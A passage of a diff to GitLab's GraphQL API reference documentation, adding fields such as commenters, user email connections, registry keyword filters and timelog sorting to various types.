| Description | +| ---- | ---- | ----------- | +| <a id="descriptionversioncandelete"></a>`canDelete` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. | +| <a id="descriptionversiondeletepath"></a>`deletePath` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. | +| <a id="descriptionversiondeleted"></a>`deleted` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. | +| <a id="descriptionversiondescription"></a>`description` | [`String`](#string) | Content of the given description version. | +| <a id="descriptionversiondiffpath"></a>`diffPath` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. | +| <a id="descriptionversionid"></a>`id` | [`DescriptionVersionID!`](#descriptionversionid) | ID of the description version. | + +#### Fields with arguments + +##### `DescriptionVersion.diff` + +Description diff between versions. + +Returns [`String`](#string). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="descriptionversiondiffversionid"></a>`versionId` | [`DescriptionVersionID`](#descriptionversionid) | ID of a previous version to compare. If not specified first previous version is used. | + ### `Design` A single design. @@ -12088,6 +12305,7 @@ A single design. | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="designcommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="designdiffrefs"></a>`diffRefs` | [`DiffRefs!`](#diffrefs) | Diff refs for this design. | | <a id="designdiscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | | <a id="designevent"></a>`event` | [`DesignVersionEvent!`](#designversionevent) | How this design was changed in the current version. | @@ -12495,6 +12713,18 @@ Returns [`[DoraMetric!]`](#dorametric). | <a id="dorametricdate"></a>`date` | [`String`](#string) | Date of the data point. | | <a id="dorametricvalue"></a>`value` | [`Float`](#float) | Value of the data point. | +### `Email` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="emailconfirmedat"></a>`confirmedAt` | [`Time`](#time) | Timestamp the email was confirmed. | +| <a id="emailcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp the email was created. | +| <a id="emailemail"></a>`email` | [`String!`](#string) | Email address. | +| <a id="emailid"></a>`id` | [`ID!`](#id) | Internal ID of the email. | +| <a id="emailupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp the email was last updated. | + ### `Environment` Describes where code is deployed for a project. @@ -12589,6 +12819,7 @@ Represents an epic. | <a id="epicblockingcount"></a>`blockingCount` | [`Int`](#int) | Count of epics that this epic is blocking. | | <a id="epicclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the epic was closed. | | <a id="epiccolor"></a>`color` | [`String`](#string) | Color of the epic. Returns `null` if `epic_color_highlight` feature flag is disabled. | +| <a id="epiccommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="epicconfidential"></a>`confidential` | [`Boolean`](#boolean) | Indicates if the epic is confidential. | | <a id="epiccreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp of when the epic was created. | | <a id="epicdefaultprojectforissuecreation"></a>`defaultProjectForIssueCreation` | [`Project`](#project) | Default Project for issue creation. Based on the project the user created the last issue in. | @@ -12830,6 +13061,7 @@ Relationship between an epic and an issue. | <a id="epicissueblockingcount"></a>`blockingCount` | [`Int!`](#int) | Count of issues this issue is blocking. | | <a id="epicissueclosedasduplicateof"></a>`closedAsDuplicateOf` | [`Issue`](#issue) | Issue this issue was closed as a duplicate of. | | <a id="epicissueclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the issue was closed. | +| <a id="epicissuecommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="epicissueconfidential"></a>`confidential` | [`Boolean!`](#boolean) | Indicates the issue is confidential. | | <a id="epicissuecreatenoteemail"></a>`createNoteEmail` | [`String`](#string) | User specific email address for the issue. | | <a id="epicissuecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. | @@ -13162,6 +13394,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodecisecurefileregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodecisecurefileregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodecisecurefileregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodecisecurefileregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13180,12 +13413,13 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodecontainerrepositoryregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodecontainerrepositoryregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodecontainerrepositoryregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodecontainerrepositoryregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | ##### `GeoNode.dependencyProxyBlobRegistries` -Find Dependency Proxy Blob registries on this Geo node. Ignored if `geo_dependency_proxy_blob_replication` feature flag is disabled. +Find Dependency Proxy Blob registries on this Geo node. WARNING: **Introduced** in 15.6. @@ -13202,16 +13436,13 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodedependencyproxyblobregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodedependencyproxyblobregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodedependencyproxyblobregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodedependencyproxyblobregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | ##### `GeoNode.dependencyProxyManifestRegistries` -Find Dependency Proxy Manifest registries on this Geo node. Ignored if `geo_dependency_proxy_manifest_replication` feature flag is disabled. - -WARNING: -**Introduced** in 15.6. -This feature is in Alpha. It can be changed or removed at any time. +Find Dependency Proxy Manifest registries on this Geo node. Returns [`DependencyProxyManifestRegistryConnection`](#dependencyproxymanifestregistryconnection). @@ -13224,6 +13455,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodedependencyproxymanifestregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodedependencyproxymanifestregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodedependencyproxymanifestregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodedependencyproxymanifestregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13242,6 +13474,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodegroupwikirepositoryregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodegroupwikirepositoryregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodegroupwikirepositoryregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodegroupwikirepositoryregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13260,6 +13493,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodejobartifactregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodejobartifactregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodejobartifactregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodejobartifactregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13278,6 +13512,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodelfsobjectregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodelfsobjectregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodelfsobjectregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodelfsobjectregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13296,6 +13531,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodemergerequestdiffregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodemergerequestdiffregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodemergerequestdiffregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodemergerequestdiffregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13314,6 +13550,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodepackagefileregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodepackagefileregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodepackagefileregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodepackagefileregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13332,6 +13569,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodepagesdeploymentregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodepagesdeploymentregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodepagesdeploymentregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodepagesdeploymentregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13350,6 +13588,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodepipelineartifactregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodepipelineartifactregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodepipelineartifactregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodepipelineartifactregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13368,6 +13607,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodesnippetrepositoryregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodesnippetrepositoryregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodesnippetrepositoryregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodesnippetrepositoryregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13386,6 +13626,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodeterraformstateversionregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodeterraformstateversionregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodeterraformstateversionregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodeterraformstateversionregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13404,6 +13645,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | <a id="geonodeuploadregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. | +| <a id="geonodeuploadregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. | | <a id="geonodeuploadregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. | | <a id="geonodeuploadregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. | @@ -13441,6 +13683,7 @@ GPG signature for a signed commit. | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="groupachievements"></a>`achievements` **{warning-solid}** | [`AchievementConnection`](#achievementconnection) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. Achievements for the namespace. Returns `null` if the `achievements` feature flag is disabled. | | <a id="groupactualrepositorysizelimit"></a>`actualRepositorySizeLimit` | [`Float`](#float) | Size limit for repositories in the namespace in bytes. | | <a id="groupadditionalpurchasedstoragesize"></a>`additionalPurchasedStorageSize` | [`Float`](#float) | Additional storage purchased for the root namespace in bytes. | | <a id="groupallowstalerunnerpruning"></a>`allowStaleRunnerPruning` | [`Boolean!`](#boolean) | Indicates whether to regularly prune stale group runners. Defaults to false. | @@ -14144,6 +14387,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="grouptimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | <a id="grouptimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | <a id="grouptimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| <a id="grouptimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | <a id="grouptimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | <a id="grouptimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="grouptimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | @@ -14529,6 +14773,7 @@ Describes an issuable resource link for incident issues. | <a id="issueblockingcount"></a>`blockingCount` | [`Int!`](#int) | Count of issues this issue is blocking. | | <a id="issueclosedasduplicateof"></a>`closedAsDuplicateOf` | [`Issue`](#issue) | Issue this issue was closed as a duplicate of. | | <a id="issueclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the issue was closed. | +| <a id="issuecommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="issueconfidential"></a>`confidential` | [`Boolean!`](#boolean) | Indicates the issue is confidential. | | <a id="issuecreatenoteemail"></a>`createNoteEmail` | [`String`](#string) | User specific email address for the issue. | | <a id="issuecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. | @@ -14957,6 +15202,7 @@ Defines which user roles, users, or groups can merge into a protected branch. | <a id="mergerequestautomergeenabled"></a>`autoMergeEnabled` | [`Boolean!`](#boolean) | Indicates if auto merge is enabled for the merge request. | | <a id="mergerequestautomergestrategy"></a>`autoMergeStrategy` | [`String`](#string) | Selected auto merge strategy. | | <a id="mergerequestavailableautomergestrategies"></a>`availableAutoMergeStrategies` | [`[String!]`](#string) | Array of available auto merge strategies. | +| <a id="mergerequestcommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | <a id="mergerequestcommitcount"></a>`commitCount` | [`Int`](#int) | Number of commits in the merge request. | | <a id="mergerequestcommits"></a>`commits` | [`CommitConnection`](#commitconnection) | Merge request commits. (see [Connections](#connections)) | | <a id="mergerequestcommitswithoutmergecommits"></a>`commitsWithoutMergeCommits` | [`CommitConnection`](#commitconnection) | Merge request commits excluding merge commits. (see [Connections](#connections)) | @@ -15123,7 +15369,9 @@ A user assigned to a merge request. | <a id="mergerequestassigneeavatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. | | <a id="mergerequestassigneebot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | <a id="mergerequestassigneecallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| <a id="mergerequestassigneecommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. | | <a id="mergerequestassigneeemail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| <a id="mergerequestassigneeemails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | <a id="mergerequestassigneegitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | <a id="mergerequestassigneegroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. | | <a id="mergerequestassigneegroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -15132,6 +15380,7 @@ A user assigned to a merge request. | <a id="mergerequestassigneemergerequestinteraction"></a>`mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. | | <a id="mergerequestassigneename"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | <a id="mergerequestassigneenamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| <a id="mergerequestassigneenamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | <a id="mergerequestassigneepreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | <a id="mergerequestassigneeprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | <a id="mergerequestassigneeprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -15317,6 +15566,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="mergerequestassigneetimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | <a id="mergerequestassigneetimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | <a id="mergerequestassigneetimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| <a id="mergerequestassigneetimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | <a id="mergerequestassigneetimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | <a id="mergerequestassigneetimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="mergerequestassigneetimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | @@ -15353,7 +15603,9 @@ The author of the merge request. | <a id="mergerequestauthoravatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. | | <a id="mergerequestauthorbot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | <a id="mergerequestauthorcallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| <a id="mergerequestauthorcommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. | | <a id="mergerequestauthoremail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| <a id="mergerequestauthoremails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | <a id="mergerequestauthorgitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | <a id="mergerequestauthorgroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. | | <a id="mergerequestauthorgroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -15362,6 +15614,7 @@ The author of the merge request. | <a id="mergerequestauthormergerequestinteraction"></a>`mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. | | <a id="mergerequestauthorname"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | <a id="mergerequestauthornamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| <a id="mergerequestauthornamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | <a id="mergerequestauthorpreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | <a id="mergerequestauthorprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | <a id="mergerequestauthorprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -15547,6 +15800,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="mergerequestauthortimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | <a id="mergerequestauthortimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | <a id="mergerequestauthortimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| <a id="mergerequestauthortimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | <a id="mergerequestauthortimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | <a id="mergerequestauthortimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="mergerequestauthortimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | @@ -15602,7 +15856,9 @@ A user participating in a merge request. | <a id="mergerequestparticipantavatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. | | <a id="mergerequestparticipantbot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | <a id="mergerequestparticipantcallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| <a id="mergerequestparticipantcommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. | | <a id="mergerequestparticipantemail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| <a id="mergerequestparticipantemails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | <a id="mergerequestparticipantgitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | <a id="mergerequestparticipantgroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. | | <a id="mergerequestparticipantgroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -15611,6 +15867,7 @@ A user participating in a merge request. | <a id="mergerequestparticipantmergerequestinteraction"></a>`mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. | | <a id="mergerequestparticipantname"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | <a id="mergerequestparticipantnamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| <a id="mergerequestparticipantnamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | <a id="mergerequestparticipantpreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | <a id="mergerequestparticipantprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | <a id="mergerequestparticipantprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -15796,6 +16053,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="mergerequestparticipanttimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | <a id="mergerequestparticipanttimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | <a id="mergerequestparticipanttimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| <a id="mergerequestparticipanttimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | <a id="mergerequestparticipanttimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | <a id="mergerequestparticipanttimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | <a id="mergerequestparticipanttimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. | @@ -15850,7 +16108,9 @@ A user assigned to a merge request as a reviewer. | <a id="mergerequestrevieweravatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. | | <a id="mergerequestreviewerbot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | <a id="mergerequestreviewercallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| <a id="mergerequestreviewercommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. | | <a id="mergerequestrevieweremail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| <a id="mergerequestrevieweremails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | <a id="mergerequestreviewergitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | <a id="mergerequestreviewergroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. | | <a id="mergerequestreviewergroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -15859,6 +16119,7 @@ A user assigned to a merge request as a reviewer. | <a id="mergerequestreviewermergerequestinteraction"></a>`mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. | | <a id="mergerequestreviewername"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | <a id="mergerequestreviewernamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| <a id="mergerequestreviewernamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | <a id="mergerequestreviewerpreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | <a id="mergerequestreviewerprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | <a id="mergerequestreviewerprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -16044,6 +16305,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="mergerequestreviewertimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | <a id="mergerequestreviewertimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | <a id="mergerequestreviewertimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| <a id="mergerequestreviewertimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | <a id="mergerequestreviewertimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | <a 